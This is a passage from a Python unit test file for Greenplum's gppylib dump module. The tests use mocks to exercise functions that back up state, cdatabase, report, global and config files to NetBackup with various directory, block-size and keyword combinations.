@patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_05(self, mock1): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_06(self, mock1): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_07(self, mock1): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = None netbackup_keyword = None backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_08(self, mock1): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = None backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_09(self, mock1): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_10(self, mock1): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_11(self, mock1): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = "foo" backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') def test_backup_state_files_with_nbu_12(self, mock1): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = "foo" backup_state_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_00(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_01(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_02(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_03(self, mock1, mock2): master_datadir = None backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'): backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_04(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, timestamp_key, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_05(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_06(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_07(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = None netbackup_keyword = None backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_08(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = None backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_09(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_10(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_11(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = "foo" backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, timestamp_key, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_cdatabase_file_with_nbu_12(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = "foo" backup_cdatabase_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_00(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_01(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_02(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_03(self, mock1, mock2): master_datadir = None backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'): backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_04(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_05(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_06(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_07(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = None netbackup_keyword = None backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_08(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = None backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_09(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_10(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_11(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = "foo" backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_report_file_with_nbu_12(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = "foo" backup_report_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_00(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_01(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_02(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_03(self, mock1, mock2): master_datadir = None backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'): backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_04(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_05(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_06(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = None backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_07(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = None netbackup_keyword = None backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_08(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = None backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_09(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_10(self, mock1, mock2): master_datadir = "/data" backup_dir = None netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = "foo" backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_11(self, mock1, mock2): master_datadir = "/data" backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = 100 netbackup_keyword = "foo" backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_cdatabase_filename') def test_backup_global_file_with_nbu_12(self, mock1, mock2): master_datadir = None backup_dir = "/datadomain" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" timestamp_key = "20140014000000" netbackup_block_size = None netbackup_keyword = "foo" backup_global_file_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword, timestamp_key) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_00(self, mock1, mock2, mock3, mock4, mock5): master_datadir = "/data" backup_dir = "/datadomain" master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" seg.getSegmentHostName.return_value = "sdw" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_01(self, mock1, mock2, mock3, mock4, mock5): master_datadir = "/data" backup_dir = None master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None mock_segs = [Mock(), Mock()] mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" seg.getSegmentHostName.return_value = "sdw" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_02(self, mock1, mock2, mock3, mock4, mock5): master_datadir = None backup_dir = "/datadomain" master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_block_size = 100 netbackup_keyword = None mock_segs = [Mock(), Mock()] netbackup_schedule = "test_schedule" mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" seg.getSegmentHostName.return_value = "sdw" backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_03(self, mock1, mock2, mock3, mock4, mock5): master_datadir = None backup_dir = None master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None mock_segs = [Mock(), Mock()] mock_segs = [Mock(), Mock()] for id, seg in enumerate(mock_segs): seg.isSegmentPrimary.return_value = True seg.getSegmentDbId.return_value = id + 1 seg.getSegmentDataDirectory.return_value = "/data" seg.getSegmentHostName.return_value = "sdw" with self.assertRaisesRegexp(Exception, 'Master data directory and backup directory are both none.'): backup_config_files_with_nbu(master_datadir, backup_dir, self.dumper.dump_dir, self.dumper.dump_prefix, master_port, netbackup_service_host, netbackup_policy, netbackup_schedule, netbackup_block_size, netbackup_keyword) @patch('gppylib.operations.dump.backup_file_with_nbu') @patch('gppylib.operations.dump.generate_master_config_filename') @patch('gppylib.operations.dump.generate_segment_config_filename') @patch('gppylib.operations.dump.GpArray.initFromCatalog') @patch('gppylib.operations.dump.GpArray.getDbList') def test_backup_config_files_with_nbu_04(self, mock1, mock2, mock3, mock4, mock5): master_datadir = "/data" backup_dir = "/datadomain" master_port = "5432" netbackup_service_host = "mdw" netbackup_policy = "test_policy" netbackup_schedule = "test_schedule" netbackup_block_size = 100 netbackup_keyword = None mock_segs = 